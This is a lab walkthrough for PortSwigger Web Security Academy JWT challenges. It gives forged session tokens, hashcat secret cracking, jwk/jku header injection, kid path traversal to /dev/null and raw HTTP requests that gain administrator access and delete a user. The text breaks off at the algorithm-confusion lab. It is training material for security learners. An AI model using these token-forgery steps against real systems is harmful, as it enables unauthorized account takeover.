WebSecurityAcademy (PortSwigger) – JWT

Walk-through of JWT lab on PortSwigger Web Security Academy.

💡 PortSwigger recommends installing the JWT Editor extension, which is available from the BApp Store (PRO version). 

💡 BChecks available on GitHub.

❗ Unfortunately, the Inspector cannot currently decode both the header and payload of the JWT at the same time. You need to select either one or the other.

Apprentice – JWT authentication bypass via unverified signature

The server doesn’t verify the signature of any JWTs that it receives. To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiIwMzllYTYwOS04NDhjLTRkYmEtYWZjMC03ZTBkMWE4M2I0NmYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NDE0NjMyNH0.g4kauOyGa7K0ETDv8Is1oEK5Xw0MibOCN5p4_Ps-bgksy8nueW7kv-yAttdSJd_CHnKarYZNVBQwCC2iPt_e-b4ml0qrBcQl3OzpxnpO0HsGbEuY7SGJpCGbKFIfDqkUAUVYdvHHcvFDlAbxhlKW2tO62xyw7wnaTVLYkW7AlgSzvA97MSTemV_CMCiC8JkAdHRgaqYLjyGgbwsO8sbQPqDvrtZJeMyxqcs6ljkU1Nvt5MkTXtNS9dIOoRpUM49DsmtB_L-ter1VQF8814J92RGij3Ipi54RgYd-_iyVwgxZQ2SiOhil7J6HqTPo8mpChplczTOO2ZvbJ_9SLbNKJg

Try to access /admin and send the request to the Repeater module. In the JSON Web Token tab of the request (JWT Editor extension), change user wiener to administrator. Click on Attack and choose “none” Signing Algorithm. Send the request.

Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzQxNDYzMjR9.

We can see the request that we need to send to delete user carlos. Send this request. Another option is to change the session cookie in your web browser to use the value above.

GET /admin/delete?username=carlos HTTP/1.1
...
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzQxNDYzMjR9.
...

Apprentice – JWT authentication bypass via flawed signature verification

To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiJjMTEwMmVmNC03NGY0LTRmY2UtYWU5YS04ODQ3NzY0OGVmOTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NTc4MDQwN30.RS8nz7q126Rp2CKELaa2OuKaffA0KmX0ittLgAksNhxWoZBvJp2jA7Bpz9gzWUa5fciIe39XZWUMALAx4NqolDXcwiKW9eN9yIooQxUsw4vLIff1MQ9Qxs40kbWMUiRTXm7F--My_5p_X08hwuCy9ruWjxVMA7AEEn9pSD9-V_hFPNoSsONH5NGDDE4oaAw9ve4sNPotvCJamSP25Ir9UaUlEfXZDGw6eOC8IGw1aAG6qDFw5iS01lcsOaTjcsInmaJgVeOgRLzAz-Gp7rgZFxYxWKrMuUAdPg09qQiycv6X-MZfjv6FUO-l7F1s4vCghIejMi1QzU_rCCwuPA6p1g

Trying to access /admin responds with “Admin interface only available if logged in as an administrator”.

Modify the JWT

  • Remove the last part after the dot (signature).
  • Decode each part of the JWT with base 64 (between the dots).
  • In the first part, change the algorithm from “RS256” to “none”.
  • In the second part, change the user from “wiener” to “administrator”.
{"kid":"c1102ef4-74f4-4fce-ae9a-88477648ef98","alg":"RS256"}.
{"iss":"portswigger","sub":"wiener","exp":1675780407}.
{"kid":"c1102ef4-74f4-4fce-ae9a-88477648ef98","alg":"none"}.{"iss":"portswigger","sub":"administrator","exp":1675780407}.

Encode each part with base 64. Send the request to /admin using the Repeater and the new JWT:

GET /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiJjMTEwMmVmNC03NGY0LTRmY2UtYWU5YS04ODQ3NzY0OGVmOTgiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzU3ODA0MDd9.
...

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiJjMTEwMmVmNC03NGY0LTRmY2UtYWU5YS04ODQ3NzY0OGVmOTgiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzU3ODA0MDd9.
...

💡 Use Hackvertor to modify and encode the payload.

Cookie: session=<@base64>{"kid":"d11b1c3d-b13a-4e5f-b515-e8df74546f1b","alg":"none"}<@/base64>.<@base64>{"iss":"portswigger","sub":"administrator","exp":1675782823}<@/base64>.

Practitioner – JWT authentication bypass via weak signing key

This lab uses a JWT-based mechanism for handling sessions. It uses an extremely weak secret key to both sign and verify tokens. This can be easily brute-forced using a wordlist of common secrets. To solve the lab, first brute-force the website’s secret key. Once you’ve obtained this, use it to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter

Click on My account and enter provided credentials (wiener:peter).

❗ The Burp Scanner will find the secret key. An issue “JWT weak HMAC secret” will appear with the secret key. Ignore it to do the lab.

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTYzMTA0MH0.V7znaO2QX5b4c2U03fkEZ87fS5U3MOV3wKMqB3aF3SM

Try to access /admin and send the request to the Repeater module.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTYzMTA0MH0.V7znaO2QX5b4c2U03fkEZ87fS5U3MOV3wKMqB3aF3SM
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2602
[...]

Bruteforce the signature

Create file jwt_token.txt with the token:

echo 'eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTYzMTA0MH0.V7znaO2QX5b4c2U03fkEZ87fS5U3MOV3wKMqB3aF3SM' > jwt_token.txt

Use Hashcat to bruteforce the signature.

wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
hashcat -a0 -m 16500 jwt_token.txt jwt.secrets.list --force
hashcat -m 16500 jwt_token.txt --show
eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTYzMTA0MH0.V7znaO2QX5b4c2U03fkEZ87fS5U3MOV3wKMqB3aF3SM:secret1

We find that the secret key is “secret1”. Use https://jwt.io :

  • Change user “wiener” to “administrator”.
  • Under Verify signature, enter “secret1”.
  • Copy the JWT token generated.
eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk2MzEwNDB9.rpQLPAaT-V1E82Wr8ZLXdY2klVuU7OsT7o0oW3Knc7w

In the Repeater, update the session cookie to this new value.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk2MzEwNDB9.rpQLPAaT-V1E82Wr8ZLXdY2klVuU7OsT7o0oW3Knc7w
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3126
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIyZGU3YWZmMi0xYzRkLTQ4M2YtOGJlNy05OTY1OTk2OWFjZDYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk2MzEwNDB9.rpQLPAaT-V1E82Wr8ZLXdY2klVuU7OsT7o0oW3Knc7w
[...]

Practitioner – JWT authentication bypass via jwk header injection

This lab uses a JWT-based mechanism for handling sessions. The server supports the jwk parameter in the JWT header. This is sometimes used to embed the correct verification key directly in the token. However, it fails to check whether the provided key came from a trusted source. To solve the lab, modify and sign a JWT that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiI0NjI5Mjc5ZC03NGRkLTRjOWItOTAyNy1mMGNhM2RhMjc5YzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTY5MzE5OH0.GjwJ8fO-I3gFnkV5XqcEVUrq6z4O-JruuJW478aJO7DtBpnoivdJlucQ1U30ei5oRBdgTjarGSKcGouhk1iMe3ni4X07o-dlxerrfXOmnzEl_rYJFtKJnylPyHHZ4IIQZyaCYXFSN6FKA3DIqzcIT0N-VxMQD-ZP702nReRL40UaH5yXYUTGTagehwkDPR3EjFt_gIlfRtWrL9giYaVH9vHXp7b62FFyXfPOf3DE7gn6CFn2PlnrbnCct_BC_490M3-0V7ZxC6SUv7p5Sz7SJxQzGJBdIB1lF7U1_jRN62G_l-ZhcQ2m_YZYFJlRZu4Lqw-3UcpLpXh4PoMdiKBTPA

Try to access /admin and send the request to the Repeater module.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0NjI5Mjc5ZC03NGRkLTRjOWItOTAyNy1mMGNhM2RhMjc5YzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTY5MzE5OH0.GjwJ8fO-I3gFnkV5XqcEVUrq6z4O-JruuJW478aJO7DtBpnoivdJlucQ1U30ei5oRBdgTjarGSKcGouhk1iMe3ni4X07o-dlxerrfXOmnzEl_rYJFtKJnylPyHHZ4IIQZyaCYXFSN6FKA3DIqzcIT0N-VxMQD-ZP702nReRL40UaH5yXYUTGTagehwkDPR3EjFt_gIlfRtWrL9giYaVH9vHXp7b62FFyXfPOf3DE7gn6CFn2PlnrbnCct_BC_490M3-0V7ZxC6SUv7p5Sz7SJxQzGJBdIB1lF7U1_jRN62G_l-ZhcQ2m_YZYFJlRZu4Lqw-3UcpLpXh4PoMdiKBTPA
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2614

Injecting self-signed JWTs via the jwk parameter

  • Install/load the JWT Editor extension in Burp Suite.
  • Click on the JWT Editor Keys tab and create a new RSA key if needed.
  • In the Repeater tab, click on the /admin request.
  • Click on the JSON Web Token tab in the request.
    • In the Payload section, replace “wiener” by “administrator”.
    • Click on Attack, and select Embedded JWK. Select the RSA key created. Click OK.
  • Go back to the Raw tab and send the request.
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MmNlNjRkMi1kMGFmLTRhYjItOGM0Mi02OGU1ZTA3MDdhZGEiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjQyY2U2NGQyLWQwYWYtNGFiMi04YzQyLTY4ZTVlMDcwN2FkYSIsIm4iOiJvaWZzRFY5TWZpSkQyWFV1TlBac1FibndBQ0Z5NVdhZ2hJZUtGcm9kUGJHbHJ4RUQ1bDRJaEY1YnUweDNXcmdBTktHVjVwUURHWHVaOEVhYWxRQlFDYnZ0M0VRdVBFRkxuRkdJUVQ5ZGstdmdMRWZPM0lQYTh5aWZmdjB3Sjl6ckZaN1pwd0lOeFlETGd0YUVNeXRGZ3lsY3B4M00zMmNHTVVXQ1dJWTlJSTlydDd5cTBQam5HYVk3VXFFQkEwSU1vcU00QThFanBjaXRnZC1TaVd5R01IWHctUFJaVmdQX1ZUbnpPR29VMDdHRVdELUU5NDRGVzJLUXFseC1FZzN1T190QUM4ZWw3UG1IaWtfZG9BZi1waV9hcHdTSkxyMl9YWTdrLW1Xem9fOU4zWHV0N3VQYVg4UmtJcV9BRFE1ejhRVzdqQ3J3M29tWFd5NnM1RUVfUVEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk2OTMxOTh9.VV91jlvAxuT7P8FmA_InPd9588bdY6TQhaGzR_D8sRKiNF5dApuVucuQrOyodRn0mxYhJrZ-Y36HAYP5pOLAdKNKsvkzN0pTl_x_k9mect5SgtEgyhmT-SAWBqat5J-rl3caa_U16Ivu5TbsVVtrNSSmE1nMoicgJRylYLyCJxIYt2vapb1qH1UfkfgnqwSBILzAc7tHg6Xn7qFPmTuxZqYrDcOYEexQC7FIO5zxv0nIzcS6JR2WFIuNIL5OzHuTerI33N3FGnpE_xD4zCi1tThcTHzbZnW4q5q9kpLGMwNPeRBuNoYtPoToMa8dvdmYjf9NUUOEdmYtbSM53wq5cw
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3138
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MmNlNjRkMi1kMGFmLTRhYjItOGM0Mi02OGU1ZTA3MDdhZGEiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjQyY2U2NGQyLWQwYWYtNGFiMi04YzQyLTY4ZTVlMDcwN2FkYSIsIm4iOiJvaWZzRFY5TWZpSkQyWFV1TlBac1FibndBQ0Z5NVdhZ2hJZUtGcm9kUGJHbHJ4RUQ1bDRJaEY1YnUweDNXcmdBTktHVjVwUURHWHVaOEVhYWxRQlFDYnZ0M0VRdVBFRkxuRkdJUVQ5ZGstdmdMRWZPM0lQYTh5aWZmdjB3Sjl6ckZaN1pwd0lOeFlETGd0YUVNeXRGZ3lsY3B4M00zMmNHTVVXQ1dJWTlJSTlydDd5cTBQam5HYVk3VXFFQkEwSU1vcU00QThFanBjaXRnZC1TaVd5R01IWHctUFJaVmdQX1ZUbnpPR29VMDdHRVdELUU5NDRGVzJLUXFseC1FZzN1T190QUM4ZWw3UG1IaWtfZG9BZi1waV9hcHdTSkxyMl9YWTdrLW1Xem9fOU4zWHV0N3VQYVg4UmtJcV9BRFE1ejhRVzdqQ3J3M29tWFd5NnM1RUVfUVEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk2OTMxOTh9.VV91jlvAxuT7P8FmA_InPd9588bdY6TQhaGzR_D8sRKiNF5dApuVucuQrOyodRn0mxYhJrZ-Y36HAYP5pOLAdKNKsvkzN0pTl_x_k9mect5SgtEgyhmT-SAWBqat5J-rl3caa_U16Ivu5TbsVVtrNSSmE1nMoicgJRylYLyCJxIYt2vapb1qH1UfkfgnqwSBILzAc7tHg6Xn7qFPmTuxZqYrDcOYEexQC7FIO5zxv0nIzcS6JR2WFIuNIL5OzHuTerI33N3FGnpE_xD4zCi1tThcTHzbZnW4q5q9kpLGMwNPeRBuNoYtPoToMa8dvdmYjf9NUUOEdmYtbSM53wq5cw
[...]

Practitioner – JWT authentication bypass via jku header injection

This lab uses a JWT-based mechanism for handling sessions. The server supports the jku parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key. To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiJmOTYyYmU5MS02YWY5LTQ4ZjUtOWU3NS1jMGU1YmFiMDk3ODAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTc5MTk2MH0.N81xcdgqQsZ0EeBcNiJf4AwcWDSBzzph_chTHpLhiJuo1cO5qSpPObfFF91-HoAKq4R6XX5I2ax6Lh1RJUfguht_jZ38h-S8ejRMPjvjNdhWSM8kB3sxnPkF525ohmZGlFaMpl331a_oHedN8bHSk8e8Q1wp0dz-t1psdoZ7fiElEDSicvK-jXY762oKbWV4XzjDWHlvV_yUVP2wVEpXA3n1jK3-KRpppTrpJsHVHOcmcvyPkdl3PJUGJvHsq2z0_GOHvMDky7ErkPXHqEHC0aXLMA_VIOQL75nb78suQUrHq8XBWEHb16y4yWzOnnoG9-MhCRoct7Wa-6Cn-pL02w

Try to access /admin and send the request to the Repeater module.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiJmOTYyYmU5MS02YWY5LTQ4ZjUtOWU3NS1jMGU1YmFiMDk3ODAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTc5MTk2MH0.N81xcdgqQsZ0EeBcNiJf4AwcWDSBzzph_chTHpLhiJuo1cO5qSpPObfFF91-HoAKq4R6XX5I2ax6Lh1RJUfguht_jZ38h-S8ejRMPjvjNdhWSM8kB3sxnPkF525ohmZGlFaMpl331a_oHedN8bHSk8e8Q1wp0dz-t1psdoZ7fiElEDSicvK-jXY762oKbWV4XzjDWHlvV_yUVP2wVEpXA3n1jK3-KRpppTrpJsHVHOcmcvyPkdl3PJUGJvHsq2z0_GOHvMDky7ErkPXHqEHC0aXLMA_VIOQL75nb78suQUrHq8XBWEHb16y4yWzOnnoG9-MhCRoct7Wa-6Cn-pL02w
[...]
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2794
[...]

Injecting self-signed JWTs via the jku parameter

  • Install/load the JWT Editor extension in Burp Suite.
  • Click on the JWT Editor Keys tab and create a new RSA key (if needed).
  • Right-click on the key and select Copy Public Key as JWK. Keep note of this information.

Click on Go to exploit server, enter an empty JWK Set in the Body. Paste the key information previously copied and click Store.

{
    "keys": [
<COPY YOUR PUBLIC KEY AS JWK HERE>
    ]
}
{
    "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "42ce64d2-d0af-4ab2-8c42-68e5e0707ada",
    "n": "..."
}
    ]
}
  • In the Repeater tab, click on the /admin request.
  • Click on the JSON Web Token tab in the request.
    • In the Payload section, replace “wiener” by “administrator”.
    • In the Header section:
      • Replace the kid value by the kid from your JWT.
      • Add a new jku parameter and set its value to the URL of your JWK Set on the exploit server.
    • Click on Sign, and select the RSA key corresponding with the kid used. Select Don’t modify header. Click OK.
  • Go back to the Raw tab and send the request.

Header should look like:

{
    "kid": "42ce64d2-d0af-4ab2-8c42-68e5e0707ada",
    "alg": "RS256",
    "jku": "https://exploit-<LAB ID>.exploit-server.net/exploit"
}
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MmNlNjRkMi1kMGFmLTRhYjItOGM0Mi02OGU1ZTA3MDdhZGEiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYTNjMDA1YzAzMWM5NTNkODA2YTVjYmYwMTU5MDAxMy5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk4MDM3NTh9.OBMqaR6k4jFYCUTmTI68AzUw50LEIUjo1eBAuXbAKeYlIv2ig879smPpUJIdVYObq8U0azsMqNgjsI5JpG66YNuQKEUBByYbWvCoaNHVV8ykvkV6rMGgh5SWFBqrkmbOPm4DIhAzj-tSxNmmfKqW2d5PATcyyu9DTrOJ4DhjnSqPbYn8jJqf7PP3nhIR7tRXmbF9bzLBrSb0Oxyz3LRgXVlo68F4pcrxU63VCtFRxZI1OUbeg3JZgS1JbxX2uIohGp5b9H69dtc_OCDXHnETkp6CGrFJusXq5I3IN2jUq0jNlHFfAtgNXPsfTyPzvIV6UsNwDOY0G3PtXr7lbil8TA
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3318
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MmNlNjRkMi1kMGFmLTRhYjItOGM0Mi02OGU1ZTA3MDdhZGEiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYTNjMDA1YzAzMWM5NTNkODA2YTVjYmYwMTU5MDAxMy5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk4MDM3NTh9.OBMqaR6k4jFYCUTmTI68AzUw50LEIUjo1eBAuXbAKeYlIv2ig879smPpUJIdVYObq8U0azsMqNgjsI5JpG66YNuQKEUBByYbWvCoaNHVV8ykvkV6rMGgh5SWFBqrkmbOPm4DIhAzj-tSxNmmfKqW2d5PATcyyu9DTrOJ4DhjnSqPbYn8jJqf7PP3nhIR7tRXmbF9bzLBrSb0Oxyz3LRgXVlo68F4pcrxU63VCtFRxZI1OUbeg3JZgS1JbxX2uIohGp5b9H69dtc_OCDXHnETkp6CGrFJusXq5I3IN2jUq0jNlHFfAtgNXPsfTyPzvIV6UsNwDOY0G3PtXr7lbil8TA
[...]

Practitioner – JWT authentication bypass via kid header path traversal

This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem. To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiI2YTdhNWY4NS1kMTAwLTQ2NjYtOWNkMS1kYWRjOGQ2MzgyMTEiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTk0NzE1NH0.T34PcT_EY3tFcV6ZzGV_ehlcKDLZvbG5DndCp0l37nQ

Try to access /admin and send the request to the Repeater module.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI2YTdhNWY4NS1kMTAwLTQ2NjYtOWNkMS1kYWRjOGQ2MzgyMTEiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4OTk0NzE1NH0.T34PcT_EY3tFcV6ZzGV_ehlcKDLZvbG5DndCp0l37nQ
[...]
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2629
[...]

Injecting self-signed JWTs via the kid parameter

❗ The JWT Editor extension won’t allow you to sign tokens using an empty string, so use this workaround.

  • Install/load the JWT Editor extension in Burp Suite.
  • Click on the JWT Editor Keys tab and click New Symmetric Key.
  • Click on Generate (do not change anything else).
  • Replace the “k” parameter with the null byte (encoded in base 64): “AA==” and click OK.

Key should look like:

{
    "kty": "oct",
    "kid": "051ce12b-010c-418a-82da-e150934df484",
    "k": "AA=="
}
  • In the Repeater tab, click on the /admin request.
  • Click on the JSON Web Token tab in the request.
    • In the Payload section, replace “wiener” by “administrator”.
    • In the Header section, replace the kid value by “../../../../../dev/null”.
    • Click on Sign, and select the key that you just created. Select Don’t modify header. Click OK.
  • Go back to the Raw tab and send the request.
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIuLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk5NDcxNTR9.f-UVvBjZHXU77qicu48qEYV27ZRPN19VSxZy5nHqxqU
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3153
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIuLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODk5NDcxNTR9.f-UVvBjZHXU77qicu48qEYV27ZRPN19VSxZy5nHqxqU
[...]

Expert – JWT authentication bypass via algorithm confusion

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks. To solve the lab, first obtain the server’s public key. This is exposed via a standard endpoint. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter. You can assume that the server stores its public key as an X.509 PEM file.

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiIxMTlmNWRlNS00ZjcxLTRlMTgtOWEyYy1hZmFkMmUzNjNkYWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDI5MjY5OH0.bxoUOeO-2XvebJwjaGKttEb-CRoavjWPZC3ahnHTjJcjppEwt4ETHIqpuRCV3rQJa3aICeyAWjkXg0-_3AxPTr8gpdnD_mqjiWHAg1PyfSb3Q6a4FZdSuw2cJqalFouRqfANU7qVYZWfDb7Jt6-gSXAbI2ItU33zcteNZm9p7pkrIS_J_s-cdwI87soNmoc_5791RCs5Y8BN1q7aR6i-btMPLk76d4ios9bbbS-tFVmQL_ifDBsQCfDRNLN-xuOmO_aoIFWrUU3Y1hlSFpPqez60fN8BA6-l6iNTLyL0teLqpY-RFLVIQWb9ZK2Q5MuYKNHoXoLSCHWZ9Lqh1hbvyg

Try to access /admin and send the request to the Repeater module.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIxMTlmNWRlNS00ZjcxLTRlMTgtOWEyYy1hZmFkMmUzNjNkYWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDI5MjY5OH0.bxoUOeO-2XvebJwjaGKttEb-CRoavjWPZC3ahnHTjJcjppEwt4ETHIqpuRCV3rQJa3aICeyAWjkXg0-_3AxPTr8gpdnD_mqjiWHAg1PyfSb3Q6a4FZdSuw2cJqalFouRqfANU7qVYZWfDb7Jt6-gSXAbI2ItU33zcteNZm9p7pkrIS_J_s-cdwI87soNmoc_5791RCs5Y8BN1q7aR6i-btMPLk76d4ios9bbbS-tFVmQL_ifDBsQCfDRNLN-xuOmO_aoIFWrUU3Y1hlSFpPqez60fN8BA6-l6iNTLyL0teLqpY-RFLVIQWb9ZK2Q5MuYKNHoXoLSCHWZ9Lqh1hbvyg
[...]
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2631
[...]

Obtain the server’s public key

Go to standard endpoint URL:

GET /jwks.json HTTP/2
